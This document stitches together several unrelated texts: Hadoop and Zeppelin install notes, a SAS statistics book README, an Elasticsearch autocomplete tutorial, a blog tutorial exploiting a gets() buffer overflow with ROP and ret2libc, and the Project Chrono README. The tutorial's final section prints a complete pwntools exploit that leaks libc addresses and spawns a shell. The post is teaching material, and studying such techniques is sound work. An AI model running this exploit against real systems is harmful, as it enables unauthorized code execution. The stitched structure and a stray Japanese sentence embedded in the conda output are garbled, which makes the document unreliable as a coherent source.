Using Apache Hadoop Submarine [document](https://hadoop.apache.org/docs/r3.2.0/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-submarine/QuickStart.html) .

## TODO

1.

## Quick note

Read some concept of Apache Hadoop at : [hadoop-tutorial](https://data-flair.training/blogs/hadoop-tutorial/)

Hadoop is the master-slave fashion as shown in below picture.
When the master node fail, the slave nodes keep working and sending heart-beat signal.
After master node is recorved or replaced, the slave nodes will re-connect again without
any configuration.

![Hadoop Architecture]({{site.baseurl}}/https://d2h0cx97tjks2p.cloudfront.net/blogs/wp-content/uploads/sites/2/2018/01/Hadoop-Architecture.png)

Hadoop use the HDFS (Hadoop distributed file system) and MapReduce.

To manage resource for Hadoop, we use YARN ( Yet another resource negoliation) .

The ecosystem on the above tutorial does not contain apache nifi.
See [flume vs nifi](https://dzone.com/articles/big-data-ingestion-flume-kafka-and-nifi) for a quick comparision.

Hence, in conclusion to this Big Data tutorial, we can say that Apache Hadoop is the most popular and powerful big data tool. Big Data stores huge amount of data in the distributed manner and processes the data in parallel on a cluster of nodes. It provides the world’s most reliable storage layer- HDFS. Batch processing engine MapReduce and Resource management layer- YARN. 4 daemons (NameNode, datanode, node manager, resource manager) run in Hadoop to ensure Hadoop functionality.

## Install hadoop + yarn

### Install hadoop for 1 machine (master node only)

There're a lot of tutorial on the web. But the only tutorial that work is [official](https://hadoop.apache.org/docs/r3.0.3/hadoop-project-dist/hadoop-common/SingleCluster.html)

The detail is as follow

```bash
1. Add to  bash.rc
# Set Hadoop-related environment variables
export HADOOP_HOME=/home/jil/opt/hadoop-3.1.1
export HADOOP_CONF_DIR=$HADOOP_HOME/etc/hadoop
export HADOOP_MAPRED_HOME=$HADOOP_HOME
export HADOOP_COMMON_HOME=$HADOOP_HOME
export HADOOP_HDFS_HOME=$HADOOP_HOME
export YARN_HOME=$HADOOP_HOME
# Add Hadoop bin/ directory to PATH
export PATH=$PATH:$HADOOP_HOME/sbin:$HADOOP_HOME/bin

2. Download hadoop
tar xfv hadoop-3.1.1.tar.gz
cd hadoop-3.1.1/

3. Backup etc
cp -r etc/hadoop etc/hadoop_def

4. Add the following settings

### core-site.xml
<configuration>
    <property>
        <name>fs.defaultFS</name>
        <value>hdfs://localhost:9000</value>
    </property>
</configuration>

### hdfs-site.xml
<configuration>
    <property>
        <name>dfs.replication</name>
        <value>1</value>
    </property>
</configuration>

### marped-site.xml
<configuration>
    <property>
        <name>mapreduce.application.classpath</name>
        <value>$HADOOP_MAPRED_HOME/share/hadoop/mapreduce/*:$HADOOP_MAPRED_HOME/share/hadoop/mapreduce/lib/*</value>
    </property>
</configuration>

### yarn-site.xml
<configuration>

<!-- Site specific YARN configuration properties -->
    <property>
        <name>yarn.nodemanager.aux-services</name>
        <value>mapreduce_shuffle</value>
    </property>
    <property>
        <name>yarn.nodemanager.env-whitelist</name>
        <value>JAVA_HOME,HADOOP_COMMON_HOME,HADOOP_HDFS_HOME,HADOOP_CONF_DIR,CLASSPATH_PREPEND_DISTCACHE,HADOOP_YARN_HOME,HADOOP_MAPRED_HOME</value>
    </property>
</configuration>

5. then start dfs, yarn
# reset on the data
hdfs namenode -format
sbin/start-dfs.sh
sbin/start-yarn.sh

6. Final

Resource management : http://localhost:8088/cluster
namenode: http://localhost:9870/

```

### Install hadoop for clusters ( master + cluster machines)

Later when we have more machine .
See [tutorial point](https://www.tutorialspoint.com/hadoop/hadoop_multi_node_cluster.htm)
 fore more detail

### TODO

[apache submarine title 1](https://hortonworks.com/blog/submarine-running-deep-learning-workloads-apache-hadoop/)

[apache submarine official document](https://hadoop.apache.org/docs/r3.2.0/hadoop-yarn/hadoop-yarn-applications/hadoop-yarn-submarine/QuickStart.html)

[Hadoop on single node](https://www.michael-noll.com/tutorials/running-hadoop-on-ubuntu-linux-single-node-cluster/)

[Install hadoop (tutorial point) ](https://www.tutorialspoint.com/hadoop/hadoop_multi_node_cluster.htm) ---> only this work

### Install Zeppelin

Go to [zeppelin page](http://zeppelin.apache.org/) . We can use anaconda inside zeppelin. so the installation should be as follow

```bash
1. Download anaconda
wget https://repo.anaconda.com/miniconda/Miniconda2-latest-Linux-x86_64.sh

2. Instal at /opt/hadoop/anaconda

3. Reload the value on $PATH environment
source ~/.bashrc

Note: Zeppelin load the value of $PATH, so if we do not update the $PATH correctly, conda will not be available in the zeppelin.

Remember to print the $PATH to check whether conda is available inside the $PATH. Example is as follow:
/opt/hadoop/miniconda2/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

4. Download zeppelin
http://ftp.jaist.ac.jp/pub/apache/zeppelin/zeppelin-0.8.1/zeppelin-0.8.1-bin-all.tgz

5. Install zeppelin
tar zeppelin-0.8.1-bin-all.tgz
ln -s /opt/hadoop/zeppelin-0.8.1-bin-all /opt/hadoop/zeppelin

6. Start zeppelin
bin/zeppelin-daemon.sh start

The web interface of zeppelin should be at: http://gpu01:8080/#/

7. Edit interpreters
Go to "Interpreter" (below About Zeppelin).
Edit python interpreter
    zeppelin.python	            /opt/hadoop/miniconda2/bin/python
    zeppelin.python.maxResult	1000
Edit spark interpreter
    zeppelin.pyspark.python	    /opt/hadoop/miniconda2/bin/python

Then save and anaconda should be available

8. Chech whether anaconda work inside zeppelin notebook

%python.conda info

    Conda Information

     active environment : base
    active env location : /opt/hadoop/miniconda2
            shell level : 2
       user config file : /home/hadoop/.condarc
 populated config files :
          conda version : 4.6.7
    conda-build version : not installed
         python version : 2.7.15.final.0
       base environment : /opt/hadoop/miniconda2  (writable)
           channel URLs : https://repo.anaconda.com/pkgs/main/linux-64
                          https://repo.anaconda.com/pkgs/main/noarch
                          https://repo.anaconda.com/pkgs/free/linux-64
                          https://repo.anaconda.com/pkgs/free/noarch
                          https://repo.anaconda.com/pkgs/r/linux-64
                          https://repo.anaconda.com/pkgs/r/noarch
          package cache : /opt/hadoop/miniconda2/pkgs
                          /home/hadoop/.conda/pkgs
       envs directories : /opt/hadoop/miniconda2/envs
                          /home/hadoop/.conda/envs
               platform : linux-64
             user-agent : conda/4.6.7 requests/2.21.0 CPython/2.7.15 Linux/4.4.0-142-generic ubuntu/16.04.5 glibc/2.23
                UID:GID : 1002:1002
             netrc file : None
           offline mode : False
検知をするための特徴抽出層からなる。ベース部分では物体の認知に関する学習を行い
9. Stop zeppelin
bin/zeppelin-daemon.sh stop

```

TODO: based on https://github.com/hadoopsubmarine/hadoop-submarine-ecosystem/issues/4#issuecomment-468198256 , zeppelin's submarine interpreter will be available on March 20th.
So currently stop here and try later in the future.


text:
# Archived repository - A Gentle Introduction to Statistics Using SASⓇ Studio
Ron Cody

### Notice: this book is no longer in publication and the repository is now archived.
This repository contains the sample code for the book *A Gentle Introduction to Statistics Using SASⓇ Studio*.

Data files are .xlsx files. Sample programs are .sas files.

## Description
Point and click your way to performing statistics!

Many people are intimidated by learning statistics, but *A Gentle Introduction to Statistics Using SASⓇ Studio* is here to help. Whether you need to perform statistical analysis for a project or, perhaps, for a course in education, psychology, sociology, economics, or any other field that requires basic statistical skills, this book teaches the fundamentals of statistics, from designing your experiment through calculating logistic regressions. Serving as an introduction to many common statistical tests and principles, it explains concepts in a non-technical way with little math and very few formulas. Once the basic statistical concepts are covered, the book then demonstrates how to use them with SAS Studio and SAS University Edition’s easy point-and-click interface.

Topics included in this book are:

- How to install and use SAS University Edition
- Descriptive statistics
- One-sample tests
- T tests (for independent or paired samples)
- One-way analysis of variance (ANOVA)
- N-way ANOVA
- Correlation analysis
- Simple and multiple linear regression
- *Binary logistic regression
- Categorical data, including two-way tables and chi-square
- Power and sample size calculations

Questions are provided to test your knowledge and practice your skills.

## Details

*Epub* ISBN: 978-1-64295-534-7

*Kindle* ISBN: 978-1-64295-535-4

*PDF* ISBN: 978-1-64295-533-0

*Paperback* ISBN: 978-1-64295-532-3

*Hardback* ISBN: 978-1-64295-541-5

Book Excerpt and Table of Contents

About the Author

## License

This project is licensed under the [Apache 2.0 License](./LICENSE).


text:
### Trying it

```
POST coffee/_search
{
  "query": {
    "match": {
      "name.edge_ngram": {
        "query": "per",
        "operator" : "and"
      }
    }
  }
}
```
```json
{
  "hits": [
    {
      "_id": "2",
      "_score": 1.3635619,
      "_source": {
        "name": "Peru"
      }
    },
    {
      "_id": "5",
      "_score": 1.1762023,
      "_source": {
        "name": "Peru Small Batch"
      }
    }
  ]
}
```

It works as expected. `Peru` was analyzed and saved as:

```
p
pe
per <- This one was our hit
peru
```

Note that the "Peru" roast has scored higher than the "Peru Small Batch" roast because `Peru` is the only term within the title of "Peru" and there is 3 terms in "Peru Small Batch".

Now we can expose the feature via an endpoint. Whenever we get a hit, we'll return the name of the coffee and call it a day right? Well, that wouldn't be the best experience. Let's take a look why.

One more thing we should test.

```
POST coffee/_search
{
  "query": {
    "match": {
      "name.edge_ngram": {
        "query": "peru sm",
        "operator" : "and"
      }
    }
  }
}
```
```json
{
  "hits": [
    {
      "_source": {
        "name": "Peru Small Batch"
      }
    }
  ]
}
```

Still looking good. Now let's try another thing:

```
POST coffee/_search
{
  "query": {
    "match": {
      "name.edge_ngram": {
        "query": "sm ba",
        "operator" : "and"
      }
    }
  }
}
```
```json
{
  "hits": [
    {
      "_source": {
        "name": "Peru Small Batch"
      }
    }
  ]
}
```

That one is more questionnable but makes a lot of sense technically, here's why. We've sent 2 tokens to Elasticsearch, `sm` and `ba`.

```
p
pe
per
peru

s
sm <- hit
sma
small

b
ba <- hit
bat
batc
batch
```

But from a UX perspective it's confusing.

A potential solution would be to avoid tokenizing the input at index time before we Edge NGram it. This would have the effect of always completing from the beginning. Let's take a look.

repository: gabriel-letarte/learn-how-to-es

repo_name: gabriel-letarte/learn-how-to-es


text:
---
published: true
---

Hola people, today lets try to pwn a binary which has NX/DEP protection and the machine has ASLR enabled. I have written a simple C program which utilizes the vulnerable function gets to read the user input. The user input is read into the variable 'a' which is an array of 20 characters.

When we run the file command on the compiled binary we see that its a 64 bit ELF and is not stipped which means that the debugging symbols are enabled. And the checksec command tells that only the Non executable stack protection (NX) is enabled which means that we can't just put shellcode on the stack and execute it. If we try to do it, we will end up in a segmentation fault.

Let's run the binary and see what it does. It just ask for the user input and then prints out "Thanks!".

Now let's test whether we have a buffer overflow or not (even though we know it exists).

And yes! we received a 'Segmentation fault' which means that we are trying to read/write to some part of the memory where we don't have permission for it.

So, we can find the offset until which we can fill out junk data and whatever is sent after it will overwrite the return address. Let's use gdb to find the offset.

We create a cyclic pattern of 100 characters in length and input that to our vulnerable binary.

The offset is at 40. So, we can fill up junk until 40 character and after which the return address will be modified by data specified by the attacker. Now we have the control of the instruction pointer.

We also see that ASLR is enabled on the server which is why libc's base address gets changed everytime when we run the ldd command on the vulnerable binary.

So, we can try to leak the real address of one of the functions in libc library so that we can calculate the libc's base address and even call other libc function just by knowing their base address. Isn't that cool!!
We use Return Oriented Programming (ROP) method in this post to bypass the NX/DEP protection. It is one of the best attacks which you can use to break NX protection.
From the source code of the vulnerable program we see that puts and gets are the libc function that are called. So, we can try to leak the real address of puts from the Global Offset Table (GOT) and then use that address to calcuate the libc's base address.
For that we need to understand what is PLT and GOT. You can read more about it  here.

For now, i will quickly explain what do they do. Before a function from the dynamically linked library gets called, its real address is unknown. So, when it is first called, there is a slow lookup function called Procedural Linkage Table (PLT) which will calculate the real address of that function and updates it in the GOT. So, we leverage this activity and try to leak the real address of that function.

Lets get into some action now. We will identify the PLT address for the puts function using the `objdump` utility.

From the PLT address of the puts fuction we can try to find out the GOT entry for puts.

So here the address of the GOT entry for puts is 0x601018. If we try to see what value is present in that location, we see that it is pointing back to the next instruction of the PLT. This is before the real address of puts function is calcuated. We can see later how the real address get populated in the GOT entry when we start executing the vulnerable binary.

You can also see the PLT and GOT memory regions using the command `info files` in the gdb.

Now, lets see how the real address gets populated in the GOT. We set a breakpoint before and after the calling the puts function.

If we execute the binary, we hit our first breakpoint. Now, lets check the contents of GOT entry for the puts function. We see still its pointing to the next instruction of PLT.

Lets continue executing and then we hit our second breakpoint. Now it is populated with the real address of the puts function after it gets executed.

Now, lets try to leak this address using the ROP gadgets. The gadgets in the ROP are simple the sequence of assembly level instruction which we can leverage to alter the flow of execution of the program. As we all know, in the 64-bit calling convension, the arguments for a function are first populated in the registers and then the function gets called. So, the sequence of registers that store the paramters are RDI, RSI, RDX, RCX etc. So the address of the first, second, third and fourth arguments of a functions will be populated into the RDI, RSI, RDX, RCX etc.

We can use the program called ROPgadget to find the required gadgets.

We choose `pop rdi; ret` gadget so that, the first argument for the function will be popped into RDI and then the ret instruction will tell the CPU to jump to RSP which intern executes the function that is pointed by RSP. Lets get the PLT entry for the main function so that we can call it again to continue our exploitation. If we just call the main function once, it is waste to leak the address of puts as the libc will be loaded to new address everytime our vulnerable binary gets executed.

Now, lets use the pwntools utility to craft a simple exploit to leak the real address of puts. This is how the exploit look.

When we execute it we leak the real address of the puts function in libc.

So, after that we tweak the exploit code to display the leaked address in a nice hex value.

After executing the exploit, we see the leaked real address of puts in hex.

We can calculate the real address where the libc is loaded from the leaked address of puts using some simple calcuations. We also can calculate real addresses of other functions using the same. First we have to identify the offset of the puts function in the libc library. We can use `readelf` command to read the symbols and to display their offset in libc library. We also need the offset of the system function and the string "/bin/sh" so we can try to spawn a shell. strings command can help to identify the offset of the string "/bin/sh" in libc.

Now, we calculate the base and real addresses using the below formula:

libc_base_address = leaked_real_puts_address - offset_of_puts

real_system_address = libc_base_address + offset_of_system

real_bin_sh_address = libc_base_address + offset_of_bin_sh

So, here is the overall exploit to pwn the binary and spawn a shell.

{% highlight ruby %}
import struct
from pwn import *

# Setup env
elf = ELF("./vuln")
p = elf.process()

# Declarations
pop_rdi_ret = 0x400603		#0x0000000000400603 : pop rdi ; ret
main = 0x400566		#0000000000400566
puts_plt = 0x400430	#0000000000400430 <puts@plt>
puts_got = 0x601018
puts_offset = 0x6f690		#000000000006f690 puts@@GLIBC_2.2.5
system_offset = 0x45390		#0000000000045390 system@@GLIBC_2.2.5
sh_offset = 0x18cd57		#18cd57 /bin/sh

# Stage-1 Payload
buf = ""
buf += "A" * 40
buf += struct.pack("<Q", pop_rdi_ret)
buf += struct.pack("<Q", puts_got)
buf += struct.pack("<Q", puts_plt)
buf += struct.pack("<Q", main)

# Send Stage-1
p.recvuntil("Enter your name:")
p.sendline(buf)
p.recvline()
p.recvline()
leaked_puts = u64( p.recvline().strip().ljust(8,"\x00"))
log.info("Leaked address of puts: " + str(hex(leaked_puts)))

# Calculate real addresses
libc_base_addr = leaked_puts - puts_offset
libc_system = libc_base_addr + system_offset
libc_sh = libc_base_addr + sh_offset

log.info("Base address of libc: " + str(hex(libc_base_addr)))
log.info("Real address of system in libc: " + str(hex(libc_system)))
log.info("Real address of sh in libc: " + str(hex(libc_sh)))

# Stage-2 Payload
buf = ""
buf += "A" * 40
buf += struct.pack("<Q", pop_rdi_ret)
buf += struct.pack("<Q", libc_sh)
buf += struct.pack("<Q", libc_system)

# Send Stage-2
#p.recvuntil("Enter your name:")
p.sendline(buf)
p.recv()

p.interactive()
{% endhighlight %}

So, when we execute the exploit, it first leaks the real address of puts from the GOT in stage 1 and then calculate the real address of system and "/bin/sh". Finally it calls the system function with "/bin/sh" as the argument to it using the same `pop rdi; ret` gadget.


text:
ATTENTION
=========

The structure of the Chrono git repository was changed as follows:

- The main development branch is now called `main` (previously `develop`)
- The `master` branch, now obsolete, was deleted
- Releases are located in branches named `release/*.*` and have tags of the form `*.*.*`

Project CHRONO
==============

[![pipeline status](https://gitlab.com/uwsbel/chrono/badges/main/pipeline.svg)](https://gitlab.com/uwsbel/chrono/commits/main)
[![BSD License](http://www.projectchrono.org/assets/logos/chrono-bsd.svg)](https://projectchrono.org/license-chrono.txt)

Distributed under a permissive BSD license, Chrono is an open-source multi-physics package used to model and simulate:
-	dynamics of large systems of connected rigid bodies governed by differential-algebraic equations (DAE)
-	dynamics of deformable bodies governed by partial differential equations (PDE)
-	granular dynamics using either a non-smooth contact formulation resulting in differential  variational inequality (DVI) problems or a smooth contact formulation resulting in DAEs
-	fluid-solid interaction problems whose dynamics is governed by coupled DAEs and PDEs
-	first-order dynamic systems governed by ordinary differential equations (ODE)

Chrono provides a mature and stable code base that continues to be augmented with new features and modules.  The core functionality of Chrono provides support for the modeling, simulation, and visualization of rigid and flexible multibody systems with additional capabilities offered through optional modules. These modules provide support for additional classes of problems (e.g., granular dynamics and fluid-solid interaction), modeling and simulation of specialized systems (such as ground vehicles), co-simulation, run-time visualization, post-processing, interfaces to external linear solvers, or specialized parallel computing algorithms (multi-core, GPU, and distributed) for large-scale simulations.

Used in many different scientific and engineering problems by researchers from academia, industry, and government, Chrono has mature and sophisticated support for multibody dynamics, finite element analysis, granular dynamics, fluid-solid interaction, ground vehicle simulation and vehicle-terrain interaction.

Implemented almost entirely in C++, Chrono also provides Python and C# APIs. The build system is based on CMake. Chrono is platform-independent and is actively tested on Linux, Windows, and MacOS using a variety of compilers.

- [Project website](http://projectchrono.org/)
- [Build and install instructions](https://api.projectchrono.org/development/tutorial_table_of_content_install.html)

### Documentation

- C++ API reference
  - [Main development branch](http://api.projectchrono.org/)
  - [Release 8.0.0](http://api.projectchrono.org/8.0.0/)
  - [Release 7.0.0](http://api.projectchrono.org/7.0.0/)
- Python interface
  - [PyChrono](https://api.projectchrono.org/pychrono_introduction.html)
- Reference manuals
  - [Core module](https://api.projectchrono.org/manual_root.html)
  - [Chrono::Vehicle module](https://api.projectchrono.org/manual_vehicle.html)

### Support

- [Google Groups user forum](https://groups.google.com/g/projectchrono)

repository: projectchrono/chrono

repo_name: projectchrono/chrono